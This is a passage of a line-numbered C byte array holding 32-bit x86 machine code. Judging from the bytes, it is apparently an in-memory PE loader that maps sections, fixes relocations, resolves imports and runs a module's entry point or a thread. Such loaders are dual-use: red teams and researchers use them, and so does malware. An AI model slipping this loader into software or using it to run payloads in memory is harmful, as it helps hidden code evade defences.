0x85, 0xc0, 0x74, 0x23, 0x8b, 0x45, 0x0c, 628 | 0x8b, 0x40, 0x0c, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 629 | 0x40, 0x0c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 630 | 0x0c, 0xc7, 0x40, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 631 | 0x40, 0x08, 0x85, 0xc0, 0x74, 0x3c, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x08, 632 | 0x8b, 0x00, 0x8b, 0x50, 0x2c, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x08, 0x89, 633 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 634 | 0x08, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x08, 635 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x0c, 0xc7, 636 | 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 637 | 0x85, 0xc0, 0x74, 0x23, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x8b, 0x00, 638 | 0x8b, 0x50, 0x08, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x89, 0x04, 0x24, 639 | 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x0c, 0xc7, 0x40, 0x04, 0x00, 640 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x00, 0x85, 0xc0, 0x74, 0x20, 641 | 0x8b, 0x45, 0x0c, 0x8b, 0x00, 0x8b, 0x00, 0x8b, 0x50, 0x08, 0x8b, 0x45, 642 | 0x0c, 0x8b, 0x00, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 643 | 0x45, 0x0c, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xc9, 0xc3, 0x55, 644 | 0x89, 0xe5, 0x53, 0x81, 0xec, 0xc4, 0x02, 0x00, 0x00, 0xc7, 0x45, 0xd8, 645 | 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xcc, 0x00, 0x00, 0x00, 0x00, 0xc7, 646 | 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x05, 0x28, 0x05, 647 | 0x00, 0x00, 0x89, 0x45, 0xc4, 0x8b, 0x45, 0xc4, 0x89, 0x45, 0xc0, 0x8b, 648 | 0x45, 0xc0, 0x8b, 0x40, 0x3c, 0x89, 0xc2, 0x8b, 0x45, 0xc4, 0x01, 0xd0, 649 | 0x89, 0x45, 0xbc, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x38, 0xc7, 0x04, 0x24, 650 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x04, 0x89, 0x45, 0xb8, 651 | 0x8b, 0x45, 0xb8, 0x89, 0x45, 0xb4, 0x8b, 0x45, 0xb4, 0x8b, 0x40, 0x3c, 652 | 0x89, 0xc2, 0x8b, 0x45, 0xb8, 0x01, 0xd0, 0x89, 0x45, 0xb0, 0x8b, 0x45, 653 | 0xbc, 0x0f, 0xb7, 0x50, 0x04, 0x8b, 0x45, 0xb0, 0x0f, 0xb7, 0x40, 0x04, 654 | 0x66, 0x39, 0xc2, 0x0f, 0x85, 0x6f, 0x07, 0x00, 0x00, 0x8b, 0x45, 0x08, 655 | 0x8b, 0x50, 0x3c, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x50, 0x05, 0x00, 0x10, 656 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x40, 0x00, 0x00, 0x00, 0xc7, 0x44, 657 | 0x24, 0x08, 0x00, 0x30, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0xc7, 0x04, 658 | 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, 0x83, 0xec, 0x10, 0x89, 0x45, 659 | 0xc8, 0x83, 0x7d, 0xc8, 0x00, 0x0f, 0x84, 0x34, 0x07, 0x00, 0x00, 0x8b, 660 | 0x45, 0xbc, 0x8b, 0x40, 0x54, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x45, 0xc4, 661 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xc8, 0x89, 0x04, 0x24, 0xe8, 0xe7, 662 | 0x24, 0x00, 0x00, 0x8b, 0x45, 0xbc, 0x0f, 0xb7, 0x40, 0x14, 0x0f, 0xb7, 663 | 0xd0, 0x8b, 0x45, 0xbc, 0x01, 0xd0, 0x83, 0xc0, 0x18, 0x89, 0x45, 0xac, 664 | 0xc7, 0x45, 0xd4, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x64, 0x8b, 0x55, 0xd4, 665 | 0x89, 0xd0, 0xc1, 0xe0, 0x02, 0x01, 0xd0, 0xc1, 0xe0, 0x03, 0x89, 0xc2, 666 | 0x8b, 0x45, 0xac, 0x01, 0xd0, 0x8b, 0x48, 0x10, 0x8b, 0x55, 0xd4, 0x89, 667 | 0xd0, 0xc1, 0xe0, 0x02, 0x01, 0xd0, 0xc1, 0xe0, 0x03, 0x89, 0xc2, 0x8b, 668 | 0x45, 0xac, 0x01, 0xd0, 0x8b, 0x50, 0x14, 0x8b, 0x45, 0xc4, 0x8d, 0x1c, 669 | 0x02, 0x8b, 0x55, 0xd4, 0x89, 0xd0, 0xc1, 0xe0, 0x02, 0x01, 0xd0, 0xc1, 670 | 0xe0, 0x03, 0x89, 0xc2, 0x8b, 0x45, 0xac, 0x01, 0xd0, 0x8b, 0x50, 0x0c, 671 | 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x4c, 0x24, 0x08, 0x89, 0x5c, 0x24, 672 | 0x04, 0x89, 0x04, 0x24, 0xe8, 0x69, 0x24, 0x00, 0x00, 0x83, 0x45, 0xd4, 673 | 0x01, 0x8b, 0x45, 0xbc, 0x0f, 0xb7, 0x40, 0x06, 0x0f, 0xb7, 0xc0, 0x3b, 674 | 0x45, 0xd4, 0x77, 0x8d, 0x8b, 0x45, 0xbc, 0x8b, 0x80, 0xa0, 0x00, 0x00, 675 | 0x00, 0x89, 0x45, 0xa8, 0x83, 0x7d, 0xa8, 0x00, 0x0f, 0x84, 0xb1, 0x00, 676 | 0x00, 0x00, 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xa8, 0x01, 0xd0, 0x89, 0x45, 677 | 0xdc, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x34, 0xf7, 0xd8, 0x89, 0xc2, 0x8b, 678 | 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 0xa4, 0xe9, 0x82, 0x00, 0x00, 0x00, 679 | 0x8b, 0x45, 0xdc, 0x83, 0xc0, 0x08, 0x89, 0x45, 0xe0, 0xeb, 0x61, 0x8b, 680 | 0x45, 0xe0, 0x0f, 0xb6, 0x40, 0x01, 0x83, 0xe0, 0xf0, 0x3c, 0x30, 0x75, 681 | 0x3d, 0x8b, 0x45, 0xdc, 0x8b, 0x10, 0x8b, 0x45, 0xe0, 0x0f, 0xb7, 0x00, 682 | 0x66, 0x25, 0xff, 0x0f, 0x0f, 0xb7, 0xc0, 0x01, 0xc2, 0x8b, 0x45, 0xc8, 683 | 0x01, 0xc2, 0x8b, 0x45, 0xdc, 0x8b, 0x08, 0x8b, 0x45, 0xe0, 0x0f, 0xb7, 684 | 0x00, 0x66, 0x25, 0xff, 0x0f, 0x0f, 0xb7, 0xc0, 0x01, 0xc1, 0x8b, 0x45, 685 | 0xc8, 0x01, 0xc8, 0x8b, 0x08, 0x8b, 0x45, 0xa4, 0x01, 0xc8, 0x89, 0x02, 686 | 0xeb, 0x12, 0x8b, 0x45, 0xe0, 0x0f, 0xb6, 0x40, 0x01, 0x83, 0xe0, 0xf0, 687 | 0x84, 0xc0, 0x0f, 0x85, 0xb7, 0x05, 0x00, 0x00, 0x83, 0x45, 0xe0, 0x02, 688 | 0x8b, 0x45, 0xdc, 0x8b, 0x50, 0x04, 0x8b, 0x45, 0xdc, 0x01, 0xd0, 0x3b, 689 | 0x45, 0xe0, 0x75, 0x8f, 0x8b, 0x45, 0xe0, 0x89, 0x45, 0xdc, 0x8b, 0x45, 690 | 0xdc, 0x8b, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x71, 0xff, 0xff, 0xff, 0x8b, 691 | 0x45, 0xbc, 0x8b, 0x80, 0x80, 0x00, 0x00, 0x00, 0x89, 0x45, 0xa8, 0x83, 692 | 0x7d, 0xa8, 0x00, 0x0f, 0x84, 0x0d, 0x01, 0x00, 0x00, 0x8b, 0x55, 0xc8, 693 | 0x8b, 0x45, 0xa8, 0x01, 0xd0, 0x89, 0x45, 0xec, 0xe9, 0xef, 0x00, 0x00, 694 | 0x00, 0x8b, 0x45, 0xec, 0x8b, 0x50, 0x0c, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 695 | 0x89, 0x45, 0xa0, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x30, 0x8b, 0x45, 0xa0, 696 | 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 0x9c, 0x8b, 697 | 0x45, 0xec, 0x8b, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 0xf4, 698 | 0x8b, 0x45, 0xec, 0x8b, 0x50, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 699 | 0x45, 0xf0, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xa0, 700 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x85, 0xc0, 0x79, 0x26, 701 | 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x34, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x0f, 702 | 0xb7, 0xc0, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x9c, 0x89, 0x04, 0x24, 703 | 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0xc2, 0x8b, 0x45, 0xf0, 0x89, 0x10, 704 | 0xeb, 0x64, 0x8b, 0x45, 0xf4, 0x8b, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 705 | 0x89, 0x45, 0x98, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x85, 0xc0, 0x74, 706 | 0x2b, 0x8b, 0x45, 0x98, 0x83, 0xc0, 0x02, 0x89, 0x44, 0x24, 0x04, 0x8b, 707 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0xfb, 0x04, 0x00, 0x00, 0x85, 0xc0, 708 | 0x74, 0x12, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, 0x89, 709 | 0xc2, 0x8b, 0x45, 0xf0, 0x89, 0x10, 0xeb, 0x22, 0x8b, 0x45, 0x08, 0x8b, 710 | 0x50, 0x34, 0x8b, 0x45, 0x98, 0x83, 0xc0, 0x02, 0x89, 0x44, 0x24, 0x04, 711 | 0x8b, 0x45, 0x9c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 712 | 0xc2, 0x8b, 0x45, 0xf0, 0x89, 0x10, 0x83, 0x45, 0xf4, 0x04, 0x83, 0x45, 713 | 0xf0, 0x04, 0xe9, 0x53, 0xff, 0xff, 0xff, 0x90, 0x83, 0x45, 0xec, 0x14, 714 | 0x8b, 0x45, 0xec, 0x8b, 0x40, 0x0c, 0x85, 0xc0, 0x0f, 0x85, 0x03, 0xff, 715 | 0xff, 0xff, 0x8b, 0x45, 0xbc, 0x8b, 0x80, 0xe0, 0x00, 0x00, 0x00, 0x89, 716 | 0x45, 0xa8, 0x83, 0x7d, 0xa8, 0x00, 0x0f, 0x84, 0xdf, 0x00, 0x00, 0x00, 717 | 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xa8, 0x01, 0xd0, 0x89, 0x45, 0xe8, 0xe9, 718 | 0xc1, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe8, 0x8b, 0x50, 0x04, 0x8b, 0x45, 719 | 0xc8, 0x01, 0xd0, 0x89, 0x45, 0xa0, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x30, 720 | 0x8b, 0x45, 0xa0, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 721 | 0x45, 0x9c, 0x83, 0x7d, 0x9c, 0x00, 0x0f, 0x84, 0x8d, 0x00, 0x00, 0x00, 722 | 0x8b, 0x45, 0xe8, 0x8b, 0x50, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 723 | 0x45, 0xf4, 0x8b, 0x45, 0xe8, 0x8b, 0x50, 0x0c, 0x8b, 0x45, 0xc8, 0x01, 724 | 0xd0, 0x89, 0x45, 0xf0, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x85, 0xc0, 0x74, 725 | 0x6b, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x85, 0xc0, 0x79, 0x26, 0x8b, 0x45, 726 | 0x08, 0x8b, 0x50, 0x34, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x0f, 0xb7, 0xc0, 727 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x9c, 0x89, 0x04, 0x24, 0xff, 0xd2, 728 | 0x83, 0xec, 0x08, 0x89, 0xc2, 0x8b, 0x45, 0xf0, 0x89, 0x10, 0xeb, 0x2f, 729 | 0x8b, 0x45, 0xf4, 0x8b, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 730 | 0x98, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x34, 0x8b, 0x45, 0x98, 0x83, 0xc0, 731 | 0x02, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x9c, 0x89, 0x04, 0x24, 0xff, 732 | 0xd2, 0x83, 0xec, 0x08, 0x89, 0xc2, 0x8b, 0x45, 0xf0, 0x89, 0x10, 0x83, 733 | 0x45, 0xf4, 0x04, 0x83, 0x45, 0xf0, 0x04, 0xeb, 0x8f, 0x90, 0xeb, 0x01, 734 | 0x90, 0x83, 0x45, 0xe8, 0x20, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x04, 0x85, 735 | 0xc0, 0x0f, 0x85, 0x31, 0xff, 0xff, 0xff, 0x8b, 0x45, 0xbc, 0x8b, 0x80, 736 | 0xc0, 0x00, 0x00, 0x00, 0x89, 0x45, 0xa8, 0x83, 0x7d, 0xa8, 0x00, 0x74, 737 | 0x49, 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xa8, 0x01, 0xd0, 0x89, 0x45, 0x94, 738 | 0x8b, 0x45, 0x94, 0x8b, 0x40, 0x0c, 0x89, 0x45, 0xe4, 0x83, 0x7d, 0xe4, 739 | 0x00, 0x74, 0x2f, 0xeb, 0x24, 0x8b, 0x45, 0xe4, 0x8b, 0x10, 0xc7, 0x44, 740 | 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x01, 0x00, 741 | 0x00, 0x00, 0x8b, 0x45, 0xc8, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 742 | 0x0c, 0x83, 0x45, 0xe4, 0x04, 0x8b, 0x45, 0xe4, 0x8b, 0x00, 0x85, 0xc0, 743 | 0x75, 0xd3, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x50, 0x89, 0x45, 0x90, 0x8b, 744 | 0x45, 0xbc, 0x8b, 0x50, 0x28, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 745 | 0x8c, 0x8b, 0x45, 0x0c, 0x8b, 0x00, 0x83, 0xf8, 0x03, 0x0f, 0x85, 0xda, 746 | 0x01, 0x00, 0x00, 0x8b, 0x45, 0xbc, 0x8b, 0x50, 0x28, 0x8b, 0x45, 0xc8, 747 | 0x01, 0xd0, 0x89, 0x45, 0x88, 0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 748 | 0x00, 0xc7, 0x44, 0x24, 0x04, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc8, 749 | 0x89, 0x04, 0x24, 0x8b, 0x45, 0x88, 0xff, 0xd0, 0x83, 0xec, 0x0c, 0x8b, 750 | 0x45, 0x0c, 0x0f, 0xb6, 0x80, 0x0c, 0x03, 0x00, 0x00, 0x84, 0xc0, 0x0f, 751 | 0x84, 0xbe, 0x02, 0x00, 0x00, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x78, 0x89, 752 | 0x45, 0xa8, 0x83, 0x7d, 0xa8, 0x00, 0x0f, 0x84, 0xab, 0x02, 0x00, 0x00, 753 | 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xa8, 0x01, 0xd0, 0x89, 0x45, 0x84, 0x8b, 754 | 0x45, 0x84, 0x8b, 0x40, 0x18, 0x89, 0x45, 0xd0, 0x83, 0x7d, 0xd0, 0x00, 755 | 0x0f, 0x84, 0x8d, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x84, 0x8b, 0x50, 0x1c, 756 | 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 0x80, 0x8b, 0x45, 0x84, 0x8b, 757 | 0x50, 0x20, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x85, 0x7c, 0xff, 0xff, 758 | 0xff, 0x8b, 0x45, 0x84, 0x8b, 0x50, 0x24, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 759 | 0x89, 0x85, 0x78, 0xff, 0xff, 0xff, 0x8b, 0x45, 0xd0, 0x05, 0xff, 0xff, 760 | 0xff, 0x3f, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x7c, 761 | 0xff, 0xff, 0xff, 0x01, 0xd0, 0x8b, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 762 | 0x89, 0x85, 0x74, 0xff, 0xff, 0xff, 0x8b, 0x45, 0x0c, 0x05, 0x0c, 0x03, 763 | 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x85, 0x74, 0xff, 0xff, 0xff, 764 | 0x89, 0x04, 0x24, 0xe8, 0x38, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x31, 765 | 0x8b, 0x45, 0xd0, 0x05, 0xff, 0xff, 0xff, 0x7f, 0x8d, 0x14, 0x00, 0x8b, 766 | 0x85, 0x78, 0xff, 0xff, 0xff, 0x01, 0xd0, 0x0f, 0xb7, 0x00, 0x0f, 0xb7, 767 | 0xc0, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x80, 0x01, 768 | 0xd0, 0x8b, 0x10, 0x8b, 0x45, 0xc8, 0x01, 0xd0, 0x89, 0x45, 0xd8, 0xeb, 769 | 0x0a, 0x83, 0x6d, 0xd0, 0x01, 0x83, 0x7d, 0xd0, 0x00, 0x75, 0x83, 0x8b, 770 | 0x45, 0xbc, 0x8b, 0x40, 0x54, 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 771 | 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc8, 0x89, 0x04, 0x24, 0xe8, 772 | 0x90, 0x1f, 0x00, 0x00, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x54, 0x89, 0x44, 773 | 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 774 | 0xc4, 0x89, 0x04, 0x24, 0xe8, 0x73, 0x1f, 0x00, 0x00, 0x83, 0x7d, 0xd8, 775 | 0x00, 0x0f, 0x84, 0x9b, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 776 | 0x80, 0x0c, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x5c, 0x8b, 0x45, 0x0c, 777 | 0x8b, 0x80, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x22, 0x8b, 0x45, 778 | 0x0c, 0x8d, 0x90, 0x0c, 0x04, 0x00, 0x00, 0x8d, 0x85, 0x66, 0xfd, 0xff, 779 | 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0x08, 780 | 0x89, 0x04, 0x24, 0xe8, 0x78, 0xe5, 0xff, 0xff, 0x8b, 0x45, 0x0c, 0x8b, 781 | 0x80, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x08, 0x8d, 0x85, 0x66, 782 | 0xfd, 0xff, 0xff, 0xeb, 0x08, 0x8b, 0x45, 0x0c, 0x05, 0x0c, 0x04, 0x00, 783 | 0x00, 0x89, 0x04, 0x24, 0x8b, 0x45, 0xd8, 0xff, 0xd0, 0x83, 0xec, 0x04, 784 | 0xe9, 0x32, 0x01, 0x00, 0x00, 0x8b, 0x45, 0xd8, 0x89, 0x45, 0xcc, 0x8b, 785 | 0x45, 0xcc, 0xff, 0xd0, 0xe9, 0x22, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x0c, 786 | 0x0f, 0xb6, 0x80, 0x0c, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x37, 0x8b, 787 | 0x45, 0x0c, 0x8d, 0x90, 0x0c, 0x04, 0x00, 0x00, 0x8d, 0x85, 0x66, 0xfd, 788 | 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 789 | 0x08, 0x89, 0x04, 0x24, 0xe8, 0x0b, 0xe5, 0xff, 0xff, 0x8d, 0x85, 0x66, 790 | 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 791 | 0x24, 0xe8, 0x1e, 0x02, 0x00, 0x00, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x54, 792 | 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 793 | 0x8b, 0x45, 0xc8, 0x89, 0x04, 0x24, 0xe8, 0x8d, 0x1e, 0x00, 0x00, 0x8b, 794 | 0x45, 0xbc, 0x8b, 0x40, 0x54, 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 795 | 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc4, 0x89, 0x04, 0x24, 0xe8, 796 | 0x70, 0x1e, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x8b, 0x40, 0x04, 0x85, 0xc0, 797 | 0x74, 0x66, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x5c, 0xc7, 0x44, 0x24, 0x14, 798 | 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, 799 | 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x8c, 0x89, 800 | 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 801 | 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, 0x83, 0xec, 0x18, 0x89, 802 | 0x85, 0x70, 0xff, 0xff, 0xff, 0x83, 0xbd, 0x70, 0xff, 0xff, 0xff, 0x00, 803 | 0x74, 0x51, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x58, 0xc7, 0x44, 0x24, 0x04, 804 | 0xff, 0xff, 0xff, 0xff, 0x8b, 0x85, 0x70, 0xff, 0xff, 0xff, 0x89, 0x04, 805 | 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0xeb, 0x33, 0xc7, 0x85, 0x6c, 0xff, 806 | 0xff, 0xff, 0x18, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x6c, 0xff, 0xff, 0xff, 807 | 0x64, 0x8b, 0x00, 0x89, 0x85, 0x68, 0xff, 0xff, 0xff, 0x8b, 0x85, 0x68, 808 | 0xff, 0xff, 0xff, 0x8b, 0x40, 0x30, 0x89, 0x04, 0x24, 0x8b, 0x45, 0x8c, 809 | 0xff, 0xd0, 0x83, 0xec, 0x04, 0xeb, 0x04, 0x90, 0xeb, 0x01, 0x90, 0x83, 810 | 0x7d, 0xc8, 0x00, 0x74, 0x27, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x40, 0xc7, 811 | 0x44, 0x24, 0x08, 0x00, 0xc0, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 812 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xc8, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 813 | 0xec, 0x0c, 0xeb, 0x04, 0x90, 0xeb, 0x01, 0x90, 0x8b, 0x5d, 0xfc, 0xc9, 814 | 0xc3, 0x55, 0x89, 0xe5, 0x81, 0xec, 0xa8, 0x00, 0x00, 0x00, 0x8b, 0x45, 815 | 0x08, 0x05, 0x6c, 0x04, 0x00, 0x00, 0x89, 0x45, 0xf4, 0xc7, 0x45, 0xf0, 816 | 0x00, 0x00, 0x00, 0x00, 0xeb, 0x1c, 0x8b, 0x55, 0xf0, 0x8b, 0x45, 0xf4, 817 | 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x8d, 0x8d, 0x70, 0xff, 0xff, 0xff, 0x8b, 818 | 0x55, 0xf0, 0x01, 0xca, 0x88, 0x02, 0x83, 0x45, 0xf0, 0x01, 0x8b, 0x55, 819 | 0xf0, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 820 | 0x15, 0x8b, 0x55, 0xf0, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 821 | 0x3c, 0x3b, 0x74, 0x06, 0x83, 0x7d, 0xf0, 0x7f, 0x7e, 0xc0, 0x83, 0x7d, 822 | 0xf0, 0x00, 0x74, 0x37, 0x8b, 0x45, 0xf0, 0x83, 0xc0, 0x01, 0x01, 0x45, 823 | 0xf4, 0x8d, 0x95, 0x70, 0xff, 0xff, 0xff, 0x8b, 0x45, 0xf0, 0x01, 0xd0, 824 | 0xc6, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x8d, 0x85, 825 | 0x70, 0xff, 0xff, 0xff, 0x89, 0x04, 0x24, 0xe8, 0x58, 0x1e, 0x00, 0x00, 826 | 0x85, 0xc0, 0x75, 0x81, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x06, 0x90, 827 | 0xb8, 0x00, 0x00, 0x00, 0x00, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 828 | 0x38, 0x83, 0x7d, 0x0c, 0x00, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 829 | 0xeb, 0x58, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x44, 0xc7, 0x44, 0x24, 0x08, 830 | 0x1c, 0x00, 0x00, 0x00, 0x8d, 0x45, 0xd8, 0x89, 0x44, 0x24, 0x04, 0x8b, 831 | 0x45, 0x0c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x0c, 0x89, 0x45, 832 | 0xf4, 0x83, 0x7d, 0xf4, 0x1c, 0x74, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 833 | 0xeb, 0x28, 0x8b, 0x45, 0xe8, 0x3d, 0x00, 0x10, 0x00, 0x00, 0x75, 0x19, 834 | 0x8b, 0x45, 0xf0, 0x3d, 0x00, 0x00, 0x02, 0x00, 0x75, 0x0f, 0x8b, 0x45, 835 | 0xec, 0x83, 0xf8, 0x04, 0x75, 0x07, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 836 | 0x05, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x81, 837 | 0xec, 0x08, 0x01, 0x00, 0x00, 0xc7, 0x45, 0xe0, 0x00, 0x00, 0x00, 0x00, 838 | 0xc7, 0x45, 0x9c, 0x18, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x9c, 0x64, 0x8b, 839 | 0x00, 0x89, 0x45, 0x98, 0x8b, 0x45, 0x98, 0x8b, 0x40, 0x30, 0x89, 0x45, 840 | 0xc8, 0x8b, 0x45, 0xc8, 0x8b, 0x40, 0x10, 0x89, 0x45, 0xc4, 0x8b, 0x45, 841 | 0x08, 0x8b, 0x40, 0x38, 0x8b, 0x55, 0x08, 0x81, 0xc2, 0x4c, 0x03, 0x00, 842 | 0x00, 0x89, 0x14, 0x24, 0xff, 0xd0, 0x83, 0xec, 0x04, 0x89, 0x45, 0xc0, 843 | 0x8b, 0x45, 0xc0, 0x89, 0x45, 0xbc, 0x8b, 0x45, 0xbc, 0x8b, 0x40, 0x3c, 844 | 0x89, 0xc2, 0x8b, 0x45, 0xc0, 0x01, 0xd0, 0x89, 0x45, 0xb8, 0x8b, 0x45, 845 | 0xb8, 0x8d, 0x50, 0x18, 0x8b, 0x45, 0xb8, 0x0f, 0xb7, 0x40, 0x14, 0x0f, 846 | 0xb7, 0xc0, 0x01, 0xd0, 0x89, 